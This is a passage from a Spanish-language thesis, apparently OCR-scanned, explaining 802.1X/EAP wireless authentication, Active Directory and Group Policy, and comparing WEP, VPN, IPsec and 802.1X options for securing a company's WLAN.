handshake, la asociacion recibe el nombre de RSNA (Robust Security Network
Association).

El establecimiento de un contexto seguro de comunicacién consta de cuatro fases
(ver Figura 2.2):

1. Acuerdo sobre la politica de seguridad a utilizar

2. Autenticacion 802.1X,

3. Derivacion y distribucion (jerarquia) de las claves.
4. Confidencialidad e integridad de los datos RSNA.

—

Acuerdo de

- —>

Politica de Seguridad
P Autenticacion 802,1x o
. t
- Derivacion y Distribucton —— Distribucion MK -
- de Clave o por RADIUS

Confidencialidad
e Integridad de datos RSNA

[
\

Figura 2.2 Fases operacionales 802.11i

2.4 El estandar IEEE 802.1x

El protocolo de autenticacion IEEE 802.1X es un entorno desarrollado originalmente
para redes de cable (alambricas) y ha sido propuesta como la solucion de la
autenticacion de usuarios por varios anos, tanto para redes alambricas e inalambricas.

Formalmente conocida como el estandar IEEE para redes de area local y
metropolitana, fue publicada en 2001 y revisada en 2004, también conocido como Control
de Acceso a la Red basado en Puertos (Port-Based Network Access Control) lo que
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quiere decir una autenticacién de capa 2 en el modelo ISO-OSI. La pagina 1 del estandar
802.1x-2001 define:

“El control de acceso a la red basado en puertos hace uso de las caracteristicas de
acceso fisico de las infraestructuras LAN IEEE 802 con el propdsito de proporcionar
medios de autenticar y autorizar los dispositivos conectados a un puerto de una LAN que
tenga caracteristicas de la conexiéon punto-a-punto, y de prevenir el acceso a ese puerto
en los casos en que falle la autenticacion y la autorizaciéon. Un puerto en este contexto es
un punto de conexién simple a la infraestructura de la LAN”

Los ejemplos mas comunes de acceso de red basado en puertos son el acceso a una
red de area local inalambrica mediante puntos de acceso inalambricos, y el acceso a una
red de area local alambrica a través de un conmutador de un grupo de trabajo. Por
defecto, los puertos estan en estado “cerrado” o “desautorizado”, lo que quiere decir que
no existe acceso permitido aun cuando la conexion fisica haya sido establecida.
Solamente después que el usuario o dispositivo solicitando acceso haya sido autenticado,
el estado del puerto es cambiado a “abierto” o “autorizado”, indicando que el trafico

normal de informacion esta permitido a través de ese puerto. Ver Figura 2.3

SISTEMA 1 SISTEMA 2
PUERTO PUERTO NO PUERTO PUERTO NO
CONTROLADO CONTROLADO CONTROLADO CONTROLADO
4 ) )
|
PUERTO NO D puerro
\ AUTORIZADO | AuTORIZADO
\L I
[ ) |
v y
A i
\ L
[ LAN |

Figura 2.3 Fases operacionales 802.11i

La razén por la que se denomina autenticacion basada en puertos es debido a que el
Autenticador maneja puertos controlados y puertos no controlados. Ambos el puerto
controlado y el puerto no controlado son entidades légicas, sin embargo, utilizan la misma
conexion fisica a la red de area local o LAN. Antes de la autenticacion, solamente el
puerto no controlado esta “abierto”, después de efectuado la autenticacion el puerto
controlado es abierto.

En el estandar 802.1X-2001 se define: “El Control de acceso de Puertos provee una

extension opcional a la funcionalidad de un Sistema que ofrece un medio de prevencion
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de acceso no autorizado por los Suplicantes a los servicios ofrecidos por ese Sistema, y
también de prevenir a un Suplicante de intentar acceder a un Sistema no autorizado.”

Un nodo inalambrico debe ser autenticado antes de que obtenga acceso a otros
recursos o servicios de red de area local.

1. Cuando un nodo inalambrico, o cliente inalambrico en nuestro caso, solicita acceso a
un recurso de la LAN, el punto de acceso pregunta la identidad del cliente. Ningun otro
trafico mas que el protocolo EAP es permitido antes que el cliente inalambrico sea
autenticado, se dice entonces que el “puerto” esta cerrado.

2. El nodo inalambrico que solicita la autenticacion es normalmente llamado “suplicante”,
aunque es mas correcto indicar que el nodo inalambrico contiene un suplicante. El
Suplicante es responsable en responder al Autenticador con informacién que establecera
sus credenciales. Asi mismo, el punto de acceso contiene un Autenticador, y no tiene que
estar necesariamente en el punto de acceso, puede ser un componente externo.

3. Luego que la identidad ha sido enviada, el proceso de autenticacion empieza. El
protocolo usado entre el Suplicante y el Autenticador es EAP, o mejor dicho,
encapsulacion EAP sobre LAN (EAPOL). El Autenticador re-encapsula los mensaje EAP
al formato RADIUS y los pasa al Servidor de Autenticacion.

4. Durante el proceso de autenticacion, el Autenticador unicamente reenvia paquetes
entre el Servidor de Autenticacion y el Suplicante. Cuando este proceso termina, el
Servidor de Autenticacion envia un mensaje de éxito (o de falla si la autenticacién no es
exitosa). El Autenticador abre el “puerto” para el Suplicante.

5. Después de una autenticacion exitosa, el Suplicante adquiere acceso a los recursos de
la LAN.

Antes de este estandar, se usaban técnicas de control como las basadas en
direcciones MAC y en claves compartidas. Algunas personas prefieren dejar el nivel de
seguridad a los protocolos de las capas superiores, usando VPN o SSL. Los
inconvenientes con estos métodos son la poca manejabilidad para administrar, no
escalabilidad y la poca proteccion en lo que es seguridad. El estandar 802.1x es un
esfuerzo por corregir estos problemas ofreciendo un disefio modular, escalable y
centralizado para un control de acceso basado en puertos.

A pesar de que se habla de seguridad, es importante destacar, que el estandar
solamente define autenticacion, no hace referencia alguna al trafico de la informacion
después de que la fase de la autenticacion haya sido exitosa.

Posee mecanismos de autenticacion, autorizacion y distribucion de claves y ademas
incorpora controles de acceso para los usuarios que se unan a la red.

El estandar define tres conceptos: a) un modelo para la autorizacién, b) un canal de
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comunicaciones para autenticacién y c) un punto impuesto.

La arquitectura IEEE 802.1X esta compuesta por tres entidades funcionales:
1. El Suplicante.- que se une a la red,

El Autenticador.- que hace el control de acceso,

El Servidor de autenticacion.- que toma las decisiones de autorizacion.

Cada puerto fisico (puerto virtual en las redes inalambricas) se divide en dos puertos
légicos, formando la PAE (Port Access Entity — Entidad de Acceso de Puerto). La PAE de
autenticacion esta siempre abierta y permite el paso de procesos de autenticacion,
mientras que la PAE de servicio sélo se abre tras una autenticacion exitosa (por ejemplo,
una autorizaciéon) por un tiempo limitado (3600 segundos por defecto). La decision de
permitir acceso estd hecha por lo general por la tercera entidad, el servidor de
autenticacién (que puede ser un servidor Radius dedicado o — por ejemplo en las redes
domeésticas — un simple proceso funcionando en el punto de acceso).

El estandar 802.11i hace pequefas modificaciones a IEEE 802.1X para que las redes
inalambricas estén protegidas frente al robo de identidades. La autenticacion de
mensajes se ha incorporado para asegurarse de que tanto el suplicante como el
autenticador calculan sus claves secretas y activan la encriptacion antes de acceder a la
red.

El suplicante y el autenticador se comunican mediante un protocolo basado en EAP.
El rol del autenticador es, esencialmente, pasivo — se limita a enviar todos los mensajes
al servidor de autenticacion. EAP es un entorno para el transporte de varios métodos de
autenticacion y permite solo un numero limitado de mensajes (Request, Response,
Success, Failure), mientras que otros mensajes intermedios son dependientes del
método seleccionado de autenticacion: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5, EAP-
SIM, etc. Cuando se completa el proceso (por la multitud de métodos posibles no
entraremos en detalles), ambas entidades (suplicante y servidor de autenticacién)
tendran una clave maestra secreta. El protocolo utilizado en las redes inalambricas para
transportar EAP se llama EAPOL (EAP Over LAN), las comunicaciones entre
autenticador y servidor de autenticacién utilizan protocolos de capa mas alta, como
Radius, etc.

A continuacién se describira con mayor detalle cada una de las tres entidades
funcionales.

2.4.1 Autenticador
En el estandar se define como “una entidad de un lado de un segmento LAN punto-a-

punto que otorga la autenticaciéon de la entidad conectada al otro lado del enlace®.
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Actua simplemente como un dispositivo intermediario, pasando el trafico de la
infformacién de autenticacién de ida y de vuelta entre el suplicante y el servidor de
autenticacion, por esta razon, debido a que todo el procesamiento se realiza en el
suplicante y el servidor de autenticacion, el autenticador no necesita mucha potencia.

Algunos dispositivos como autenticadores son configurados para tener multiples
servidores de autenticacién, en caso falle el servidor principal, esto provee de alta
disponibilidad mientras los servidores de autenticacién estén sincronizados entre si.

2.4.2 Servidor de autenticacion

En el estandar se define como “una entidad que provee un servicio de autenticacion a
un autenticador. Este servicio determina, a partir de las credenciales proporcionadas por
el suplicante, si el suplicante es autorizado a acceder a los servicios ofrecidos por el
sistema en donde el autenticador reside“; sin embargo, no se especifica qué servidor de
autenticacion se debe utilizar, tipicamente se emplea un servidor RADIUS.

Tiene acceso a base de datos de credenciales, soporta normalmente varios
mecanismos de autenticacion como PAP y CHAP, y soporta mecanismos de
administracion de puertos como SNMP.

2.4.3 Suplicante

Es el término utilizado para describir al usuario, al dispositivo a ser autenticado o a
ambos. En el estandar se define al suplicante como “una entidad de un lado de un
segmento LAN punto-a-punto que es autenticado por un autenticador del otro lado del
enlace®. El suplicante es el dispositivo que necesita obtener acceso a la red, el sujeto del
proceso de autenticacion del 802.1x; es conectado directamente con el autenticador pero
no directamente con el Servidor de Autenticacion normalmente.

2.5 Protocolo de Autenticacion Extensible (EAP)

El Protocolo de Autenticacion Extensible es un protocolo de autenticaciéon
originalmente disefiado como una mejora al protocolo PPP y es definido en el documento
RFC 2284. Posteriormente redefinido en el documento RFC 3748 como: “[EAP es] un
entorno de trabajo de autenticacién que soporta multiples métodos de autenticacién. EAP
corre tipicamente sobre la capa de enlace como el protocolo Punto-a-punto (PPP) o el
estandar |IEEE 802, sin requerir IP. EAP proporciona su propio soporte para eliminaciéon
de duplicados y retransmisién, pero es confiable en las capas inferiores dando garantia.

La fragmentacion no es soportada por EAP, sin embargo, los métodos EAP
individuales pueden hacerlo”. Este protocolo soporta varios mecanismos de autenticacion
como contrasefas, contrasena de una vez (OTP — One-Time Password) y certificados de
infraestructura de llave publica. Aunque en teoria se puede usar cualquier método EAP

con el protocolo 802.1X, no todos los métodos son convenientes para usar en redes de
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area local inalambricas. El método que debe elegirse debe ser conveniente para usar en
un entorno desprotegido y debe poder generar claves de encriptacién.
2.5.1 Formato de paquete EAP

La Figura 2.4 muestra el formato del paquete EAP:

Cadigo Identificador | Longitud Datos
1 byte 1 byte 2 bytes 0+ bytes

Figura 2.4 Paquete EAP
Los valores predefinidos en el campo “Co6digo” son:
1. Solicitud
2. Respuesta
3. Exito
4. Falla

Si el codigo es 1 o 2, el primer byte del campo “Datos” debe indicar el tipo de

autenticacion EAP. El campo “Identificador” ayuda en la asociacion de las respuestas con
las solicitudes respectivas. EI campo “Longitud” indica la longitud del paquete EAP
completo. EI campo “Datos” puede tener 0 o mas octetos y su formato depende del
campo codigo.

El protocolo EAP sobre LAN (EAPOL — EAP over LANs) es definido y usado en el
estandar 802.1x como un encapsulamiento de los mensajes EAP en las tramas “Ethernet”
(capa 2) para el transporte sobre redes locales alambricas o inalambricas tipo “Ethernet”.

Puesto de manera sencilla, EAPOL es una envoltura de capa 2 para transportar
informacion EAP entre el autenticador y el suplicante. Si el servidor de autenticacién es
un servidor RADIUS, entonces el autenticador encapsulara los paquetes EAP en RADIUS
para dialogar con el servidor de autenticacion.

Aunque el uso de RADIUS como protocolo entre el autenticador y el servidor de
autenticacion es opcional y no asignado por el estandar 802.1x, RADIUS es un estandar
de facto.

2.5.2 Métodos de autenticacion

La especificacion original solamente define varios tipos de autenticacion EAP, entre
los cuales inicialmente incluye “MD5-Challenge”, “One-Time Password” y la tarjeta de
“token” genérica.

A los tipos Identidad:

Tipo 1, usado para identificar al dispositivo, Notificacion

Tipo 2, opcionalmente usado para el transporte de mensajes desde el autenticador, y
Tipo 3, valido solo en mensajes de respuesta cuando la solicitud tiene un tipo de
autenticacion inaceptable.

Se les conoce como casos especiales, todos los demas son para el intercambio de
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autenticacion.
a. EAP-MDS5S

Es un método de autenticacion basado en la identificacién de usuario/contrasena, el
documento RFC 2284 indica que es como el protocolo PPP CHAP con MDS5 como el
algoritmo de “hash”.

CHAP es un protocolo de saludo desafio-respuesta. El cliente se identifica ante el
servidor con un nombre de usuario, el servidor genera aleatoriamente una cadena de
desafio para el cliente, el cual responde con el cifrado de la contrasefia del usuario
combinada con el desafio antes entregado por el servidor.

El servidor mantiene una base de datos de contrasefias de usuarios. El servidor
realiza el mismo cifrado usando el desafio que envié al cliente y la contrasena
correspondiente al usuario en cuestion, y el “hash” resultante es comparado con la
respuesta recibida del cliente. Si son iguales, el saludo es completado y la autenticacion
es exitosa, de otra manera el cliente no es autenticado.

Uno de los mayores inconvenientes con este protocolo es que las contrasefias deben
ser almacenadas en formato de texto plano en el servidor, normalmente esto no ocurre
en otros sistemas, sino que el cifrado de las contrasenas es guardado en su lugar, debido
a que es matematicamente imposible obtener la contrasena a partir del “hash” o cifrado.

Este método no provee una resistencia contra ataques de palabras conocidas
(depende enteramente de la palabra que elija el usuario como contrasefia segura),
autenticacion mutua, o derivaciones de clave, siendo propenso a ataques de hombre-en-
el-medio (man-in-the-middle) asi como secuestro de sesion (session hijacking), y es por
eso muy poco usado en ambientes de autenticacién inalambrica.

Como una nota de referencia, originalmente “Windows XP” permitié este protocolo en
su programa suplicante 802.1X tanto para redes locales alambricas e inalambricas, sin
embargo desde el “Service Pack 1" deshabilité el uso de EAP-MD5 para redes
inalambricas.

b. EAP-TLS

TLS (Transport Layer Security - Seguridad de Capa de Transporte) es un protocolo
criptografico que provee una capa de seguridad por encima de TCP y los niveles
superiores (HTTP, SMTP, NNTP, etc) para ser transportados de una manera segura.
EAP-TLS esta basado en el protocolo antes mencionado, crea una sesién TLS dentro de
EAP, entre el Suplicante y el Servidor de Autenticacion, y esta definido en RFC 2716.

No esta basado en una autenticacion de contrasenas, sino en un método de
autenticacion basado en certificados. Este método provee autenticacibn en ambos
sentidos, por lo que requiere tanto el certificado del servidor como del cliente. Ambos el
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servidor y el cliente necesitan un certificado valido (x509), y por ende una PKI (Public Key
Infrastructure — Infraestructura de Clave Publica) antes de usar este método. Este método
provee autenticacion en ambos sentidos, por lo que requiere tanto el certificado del
servidor como del cliente.

Un inconveniente potencial de este método es que el proceso de intercambio de
identidades ocurre en texto plano antes del intercambio de certificados, por eso
cualquiera que esté interceptando el trafico puede obtener la identidad de los usuarios, y
ademas EAP-TLS no soporta reconexion de re-autenticacién de sesion rapida.

c. Lightweight EAP (LEAP)

Es basicamente una mejora de EAP-MD5, que soporta manejo dinamico de claves y
autenticacion mutua. La combinacion usuario-contrasefia es enviado al servidor de
autenticacion. Este es un protocolo propietario desarrollado por “Cisco”, y no es
considerado seguro. Cisco esta eliminando progresivamente este protocolo en favor de
PEAP.

d. EAP-TTLS

EAP-TTLS (Tunneled TLS) es una extension de EAP-TLS, establece un tunel TLS
encriptado para el transporte seguro de la informacién de autenticacion, desarrollado por
“Funk Software” y “Meetinghouse”. Dentro del tunel TLS, cualquier otro método de
autenticacion puede ser usado. Elimina la barrera de tener una Infraestructura de Clave
Publica, haciendo los certificados de cliente opcionales mientras mantiene los beneficios
de TLS.

La operacion de este protocolo ocurre en dos etapas: un tunel TLS es establecido y el
servidor autentica por si mismo al cliente, una vez que el tunel seguro es establecido
luego el proceso de autenticaciéon del cliente puede comenzar. Este proceso ocurre
dentro del tunel seguro y puede ser cualquiera de los protocolos PAP, CHAP, MSCHAP,
MSCHAPV2 u otro EAP.

e. Protected EAP (PEAP)

Como EAP-TLS, utiliza un tanel TLS encriptado y permite procesos EAP en el tunel
seguro. Los certificados del cliente para EAP-TTLS y EAP-PEAP son opcionales, pero del
servidor son requeridos. Desarrollado por “Microsoft”, “Cisco” y “RSA Security”. Es menos
propenso a las vulnerabilidades mencionadas antes en otros métodos EAP, y
relativamente facil de implementar que EAP-TLS, actualmente es soportado por la
mayoria de proveedores: Windows (nativo), Mac OS X (nativo), Linux y otros UNIX
(Xsupplicant), Cisco, Microsoft IAS RADIUS, FreeRADIUS, y muchos mas.

f. EAP-MSCHAPv2

Requiere la combinacion usuario y contrasena, y es basicamente un encapsulamiento
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de MS-CHAP-v2 (Microsoft — Challenge Handshake Authentication Protocol) [RFC2759].
Usualmente es usado en un tunel PEAP encriptado. Desarrollado por “Microsoft”.

2.6 El Directorio Activo

Un directorio es, al nivel mas fundamental, una coleccién de informacién que es
organizada de una manera particular. EI método organizacional crea un orden de la

informacion rapida y facil, para que se pueda acceder a la informacion deseada.

Los servicios de directorio son comparados frecuentemente con los directorios
telefénicos. Un directorio telefonico es una coleccion de datos organizados por apellidos,
nombres, numeros telefonicos, ciudad y pais. Debido a que la informacion es organizada
en una forma particular, se puede encontrar rapidamente una persona especifica y
obtener su numero telefénico.

Un servicio de directorio es un componente importante en la red. El Directorio Activo
no es el primer servicio de directorio en aparecer. Sin embargo, el lanzamiento de
Windows 2000 y del Directorio Activo de Microsoft, y la existencia de NDS de Novell

concretaron la idea de que las redes debian estar basadas en directorios.

El objetivo principal de los servicios de directorio es en crear un orden tanto en las
redes pequefnias como en las grandes. Con un directorio, los usuarios pueden hacer
consultas de busquedas y encontrar informacion en la red rapida y facilmente.

Ante la critica a Microsoft en Windows NT de que sus sistemas de red no eran
escalables, el Directorio Activo consiguié agilizar a) las busquedas de recursos, b)
autenticacién de usuarios y maquinas, ¢) mejor comparticion de recursos de la red, y d)
abandono de “Netbios” como protocolo para compartir recursos (se resuelven mediante
DNS vy el catalogo global).

2.6.1 Caracteristicas

El Directorio Activo es un servicio de directorio, el cual provee un numero de servicios
diferentes relacionados al almacenamiento organizado de recursos de red. Los siguientes
puntos resaltan algunas de las caracteristicas del Directorio Activo:

a. Una aproximacion organizada

El Directorio Activo trae orden a la red al organizar los recursos de la misma, tales
como cuentas de usuarios, cuentas de grupo, carpetas compartidas, impresoras, y mas.
b. Facilidad de administracion

Las redes de Windows no usan mas los controladores primarios de dominio (Primary
Domain Controllers - PDCs) ni controladores de respaldo de dominio (Backup Domain
Controllers - BDCs). Todos los controladores de dominio son simples nodos, que ofrecen

un punto simple de administracién y una excelente tolerancia a fallas.
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c. Elimina la topologia para los usuarios

El Directorio Activo ayuda a remover el conocimiento de la topologia de la red a los
usuarios finales. Ellos no tienen que conocer qué o cual servidor contiene qué o cual
recurso y donde esta localizado en la red.
d. Reduccion de los dominios NT

La mayor meta del Directorio Activo es hacer que las grandes redes sean mas
manejables, y por esto la meta también es reducir el niumero de dominios NT. El
Directorio Activo no tiene un limite de cuentas de dominio de usuario/grupo (en realidad
es de acerca de 1 millén), y debido a su disefio, muchas redes que actualmente tienen
dominios NT ahora ven la necesidad de tener solamente un dominio Windows 2000, o
Windows 2003.

e. Potencial de Crecimiento

El Directorio Activo posee escalabilidad y extensibilidad. Escalabilidad significa que un
servicio puede crecer con las necesidades de la red. El Directorio Activo es un producto
escalable, puede trabajar sobre una red de unos pocos cientos de computadoras o hasta
en una red de miles de ellas. Extensibilidad significa que un servicio puede ser extendido.
El directorio activo puede ser extendido en términos de su espacio de nombres y a través
de los recursos que contiene.

f. Estandarizacion

El Directorio Activo es construido completamente sobre estandares de protocolos y
redes que existen actualmente y son bastante usados. El Directorio Activo esta
construido sobre una red TCP/IP, y esta completamente integrado con el Sistema de
Nombres de Dominio (Domain Name System - DNS) y el Protocolo Ligero de Acceso a
Directorios (Lightweight Directory Access Protocol - LDAP).

g. Control de Red

El Directorio Activo ofrece un nivel muy fino de administraciéon de la red, en términos
de administracién de servidores y de administracion de escritorios. A través de la Politica
de Grupos de Windows 2000 o Windows 2003, se puede manejar configuraciones de
escritorio del usuario de la red mucho mas faciimente y efectivamente. A través del
Directorio Activo se puede controlar finamente la seguridad de recursos e incluso delegar
tareas administrativas a otras personas por medio de la Delegacién de Control.

h. Mejor administracion de la WAN

Una vez que el Directorio Activo esta correctamente configurado, maneja su propia
topologia de réplica. El Directorio Activo incluye mas servicios internos que le ayudan
para administrar y controlar sus propios procesos, incluyendo replicacion. Esta
caracteristica mantiene a los administradores fuera de problemas criticos y habilita



26

programas que permiten el cuidado de si mismo y de replicar datos entre los
controladores y sitios de dominio segun como es necesario.

2.6.2 Estructura logica

El Directorio Activo esta construido sobre un nivel de dominio. Un dominio es un
agrupamiento logico de computadoras y usuarios para propoésitos de seguridad y
administracion. Los dominios NT fueron tan limitados que parecian crecer y multiplicarse
muy rapidamente, dando dolores de cabeza y confusiéon tanto para usuarios como
administradores. El modelo de dominio del Directorio Activo de Windows 2000 fue
diferente, ya que estan organizados en “arboles de dominios” que existen en un “bosque”.

Es preferible tener pocos dominios, o uno solo, con muchas Unidades Organizativas
(Organizational Units - OU). Una OU es como un folder de archivos (Ver Figura 2.5),
contiene informacion importante, es como un contenedor disefiado para albergar todo tipo
de recursos del Directorio Activo, como usuarios, impresoras, computadoras, hasta otros
OUs, donde se puede también configurar seguridad, control administrativo, e incluso
politicas al nivel de OU.

Dominio

B

I Unidad
é I| organizativa

Ly

Unidad organizativa Unidad organizativa
T
Carpetas
PC
Colade  compartidas
impresion

Figura 2.5 Estructura légica de un directorio activo

Los recursos del Directorio Activo son llamados “objetos” (Figura 2.6), y cada objeto
posee atributos. Se puede pensar en los atributos como cualidades de un objeto que
permiten definirlo. Los atributos definen al objeto, y cada objeto en el Directorio Activo
contiene atributos predefinidos. Si se prefiere, se puede pensar en el Directorio Activo
como una base de datos, que tiene a los objetos como entradas de base de datos y los
atributos como campos de los objetos.
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Objeto Atributos

Nombre de usuario

Usuario Numero telefénico

Grupo al que pertenece

Figura 2.6 Objeto y atributos

Asi en la estructura légica, se tiene el dominio, la OU, y el objeto, cada objeto
tiene atributos que lo define. El Directorio Activo también utiliza sitios, pero no son
considerados dentro de la estructura légica del Directorio, o jerarquia. Los sitios son
mantenidos en el Directorio Activo para propositos de replicacién y control de trafico
solamente. Por definicidn un sitio es una locacién fisica de computadoras y usuarios, en
contraste con el dominio, que es un agrupamiento logico de computadoras y usuarios.
2.6.3 Consola de Administracion de Politicas de Grupo (GPMC)

La Consola de Administracion de Politicas de Grupo es un conjunto de interfaces
programables para la gestion de Directivas o Politicas de Grupo. La consola combina la
funcionalidad de multiples componentes en un unico interfaz de usuario. Incorpora
funcionalidad de usuarios y computadoras de Directorio Activo, Sitios y servicios de
Directorio Activo, ademas del Conjunto de Politicas Resultante (Resultant Set of Policy -
RSoP) en una unica pestana de Consola de Administracion de Microsoft (Microsoft
Management Console snap-in).

El complemento RSoP nos permite sondear y evaluar el efecto de la acumulacién de
directivas locales, sitios, dominios y unidades organizativas que tienen en equipos Yy
usuarios. Es util para averiguar porqué una aplicacion se ejecuta correctamente en
cuentas con privilegios administrativos, como el administrador local o el administrador de
dominio, pero no se ejecutan correctamente cuando la cuenta es de privilegios
restringidos.

La Consola de Administracion de Politicas de Grupo (Group Policy Management
Console - GPMC) proporciona ademas capacidades como:

1. Realizar copia de seguridad y restaurar Objetos de Politica de Grupo.

2. Copiar e importar Objetos de Politica de Grupo.

3. Usar filtros de interffaz de administracion de Windows (Windows Management
Instrumentation — WMI).

4. Realizar informes de datos RSoP o de Objetos de Politica de Grupo.

5. Realizar busquedas de Objetos de Politica de Grupo.
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Un Objeto de Politica de Grupo (Group Policy Object - GPO) es un conjunto de una o
mas politicas de sistema, es decir, es una coleccién de configuraciones que define cdbmo
un sistema debe comportarse para un grupo definido de usuarios o computadoras (el
objeto al que afecta).

Se puede definir dos categorias de GPO: segun su funcién, directivas de seguridad y
directivas de entorno, y segun su objeto de configuracién, configuracion de equipo y
configuracion de usuario.

Las GPOs pueden estar contenidas en cuatro tipos de objetos:
Equipos locales
Sitios del Directorio Activo

Dominios del Directorio Activo

0w N =

Unidades Organizativas del Directorio Activo

La prioridad de las GPOs es como sigue: las GPOs de una unidad organizativa
prevalecen sobre las de dominio, que a su vez prevalecen sobre las de sitio, las cuales a
su vez prevalecen sobre las del equipo local. Las politicas se suman unas a otras,
solamente se anulan en caso de ser contradictorias.

Nota:
En el siguiente capitulo se describira la metodologia de la solucién



CAPITULO IlI
METODOLOGIA PARA LA SOLUCION DEL PROBLEMA

En el presente capitulo se describe el analisis y disefio del proyecto de seguridad de
acceso y administracion implementado en la red inalambrica de la empresa. El capitulo
consta de cuatro partes: 1) Analisis de la Solucién, 2) Diseno de la Solucién, 3) Pruebas
de comprobacion de la soluciéon y 4) Equipamiento, las cuales seran desarrolladas en
detalle en los parrafos siguientes.

Dado que el proyecto es realizado con el minimo de costo inversion, la
implementacién se desarrolla haciendo uso de la infraestructura ya existente sin requerir
mayor gasto en compra de equipos.

3.1 Analisis de la solucion

La red local inalambrica de la empresa no ofrecia una seguridad de Optimas
condiciones. Dado que es dificil mantener una conexién exclusiva a través de un medio
compartido como es el aire, fue necesario establecer la continuidad o no del uso de esta
red local inalambrica o WLAN.

3.1.1 Evaluacion de la continuidad de la WLAN

Para ello se tomé en consideracion lo siguiente:

1. Ya existian usuarios (clientes inalambricos) que venian conectandose a los puntos de
acceso de manera cotidiana y se desplazaban de unas oficinas a otras (en algunos casos
en las salas de reuniones) sin perder la conexion con la red corporativa, ademas algunas
aplicaciones de la empresa eran accedidas a través de Internet por algunos usuarios por
realizar trabajos de campo.

2. La misma tecnologia WLAN proporciona como ventaja una productividad mejorada de
los empleados, los procesos empresariales son mas rapidos y eficaces, los costos de
administracion mas bajos representando un menor gasto de capital. Ademas es mucho
mas sencillo implementar una mayor concentracion de puntos de acceso inalambrico en
una ubicacion concreta que aumentar el numero de puertos de red con cable, por
ejemplo.

Por lo expuesto, la opcidon de no implementar la tecnologia WLAN fue descartada. La
decision en la empresa fue la de elevar del nivel de seguridad. Para ello se examiné las

principales opciones existentes, las cuales son mostradas en la siguiente seccion.
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3.1.2 Opciones tecnoldgicas para el esquema de seguridad
El resumen de soluciones son mostradas en a Tabla 3.1.

Tabla 3.1 Soluciones para una red de area loca inaam rica segura
Caracteristica | 802.1X WEP VPN IPsec
Estatico
Autenticacioén Si No Si, pero las VPNs Si, sise usa la
robusta no usan la autenticacion
autenticaciéon de Kerberos o
clave compartida. certificados.
Encriptacion Si No Si Si
de datos
robusta
Conexion y Si Si No Si
reconexion
transparente a
la WLAN
Autenticacion Si No Si Si
de usuario
Autenticacion Si Si No Si
de
computadora
Trafico Si Si Si No
“broadcast” y
“multicast”
protegido
Dispositivos Servidor | No Servidores VPN, | No
adicionales de | es Servidores
red requeridos | RADIUS RADIUS
Acceso seguro | Si Si No No
a la WLAN

A continuacion se evaluan en detalle las siguientes opciones tecnoldgicas: WEP
estatico, WEP dinamico, Red privada virtual o VPN, IPSec y 802.1X.
a. WEP estatico

La opcién de WEP estatico ofrece mas seguridad que las WLAN desprotegidas, sin
embargo, conlleva varios inconvenientes de administracion y seguridad descritos en el
marco tedrico de este informe.

Las soluciones de claves compartidas solamente resultan practicas para numeros
reducidos de usuarios y puntos de acceso debido a la dificultad asociada a la
administracion de actualizaciones de claves en ubicaciones multiples. Los problemas de
cifrado con WEP dan a su utilidad un caracter dudoso incluso en entornos pequenos.
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b. WEP dinamico

El uso de WEP dinamico solamente aumenta la dificultad para acceder a la clave, sin
embargo, el modo de clave compartida de WPA o WPA con RADIUS proporciona una
mitigaciéon a los diferentes problemas de WEP, también descritos en el marco teérico. El
objetivo inicial del proyecto fue incrementar la seguridad del cifrado de datos, por lo que
rapidamente el cifrado con WEP quedoé descartado.

c. Red privada virtual o VPN

La red privada virtual o VPN es una solucién excelente para atravesar una red hostil
como Internet, la empresa posee una red privada virtual para usuarios con funciones y
necesidad de accesos fuera del horario de oficina. Sin embargo, no es necesariamente la
mejor solucion para asegurar las WLAN internas. La proteccion de los datos de la VPN
emplea cifrado basado en “software” que permite que los algoritmos se modifiquen y se
actualicen con mayor facilidad que el cifrado basado en “hardware”.

Para una tecnologia de red inalambrica, una VPN ofrece poca o ninguna seguridad
adicional en comparacion con las soluciones 802.1X, puesto que aunque los datos del
interior de los tuneles VPN son seguros, la autenticacion a la WLAN no es segura, al
mismo tiempo que incrementan de manera significativa la complejidad y los costes.

No ofrece transparencia de conexiéon para el usuario, las sesiones por VPN son mas
susceptibles a desconectarse entre puntos de acceso y las reconexiones no son
automaticas sino que el usuario debera realizarlas de forma manual, reducen el
aprovechamiento puesto que el acceso se realiza a través de un servidor haciendo frente
a una gran cantidad de clientes remotos con velocidades mas bajas en relacién al de una
red de area local, y hacen que partes importantes de las funciones no estén operativas.

d. IPSec

El uso de IPSec permite que dos nodos o entidades de una red se autentiquen una
con relacién a otra de manera segura. Los tuneles IPSec se suelen utilizar en conexiones
VPN de sitio a sitio, funciona con la encapsulacion de un paquete IP completo dentro de
un paquete protegido por IPSec y esto agrega carga a la comunicacién. Es transparente
para los usuarios, e independiente del hardware de la WLAN ya que no necesita de un
servidor como las redes privadas virtuales.

Los inconvenientes son: administracion de directivas IPSec muy complicadas para
grandes organizaciones como la empresa, utiliza solo la autenticacion de nivel de equipo
y no puede establecerse un esquema de autenticacion basado en el usuario, la
encriptacion y desencriptacion del trafico de datos en la red cargan el procesador de los
servidores, como en el caso de las VPN solamente los datos en el interior de los
paquetes IPSec se encuentran protegidos, el acceso a la WLAN no esta asegurada.



e. 802.1X

La autenticaciéon por 802.1X implica la autenticacién del usuario que se conecta a la
red, un dispositivo de acceso a la red y un servicio de autenticacion y autorizacién en

forma de Servicio de usuario de acceso de marcado de autenticaciéon remota (RADIUS)

explicado en el marco teérico del presente informe.

En comparacién a las alternativas anteriores, la solucién 802.1X con cifrado de datos
con WPA es ideal para la tecnologia de redes inalambricas y ofrece una seguridad

mejorada ante las amenazas descritas en la seccion 1.3.2 Evaluacién del problema de

seguridad. Ver Tabla 3.2.

Tabla 3.2

Amenazas vs. Mitigacion

Amenaza

Mitigacion

Fisgonear o “Eavesdropping”
(revelaciéon de datos)

La asignacion y maodificacion frecuente de las
claves de cifrado en forma dinamica junto con la
exclusividad de dicha clave por sesion de usuario e
incluso por paquete garantiza que no se podra
descubrir las claves.

Interceptaciéon y modificacion
de informacion transmitida

La alta integridad y el cifrado robusto de los datos
entre el cliente inalambrico y el punto de acceso
inalambrico garantiza que un usuario malicioso no
pueda interceptar y modificar los datos en transito,
ademas la autenticacién mutua entre el cliente, el
servidor de autenticacion y autorizacion, y el punto
de acceso inalambrico hace que sea muy dificil la
suplantacién de alguno de ellos.

Suplantacién de identidad
(Spoofing)

La autenticacion segura en la red impide que
usuarios no autorizados se conecten a la red e
introduzcan datos de suplantacion desde el
interior.

Denegacion de servicio
(Denial of service - DoS)

Los ataques de Denegacion de Servicio en la red
se pueden evitar si se controla el acceso a la
WLAN mediante 802.1X, aunque no sera inmune a
la interrupcion de la capa fisica (nivel de radio) de
las redes.

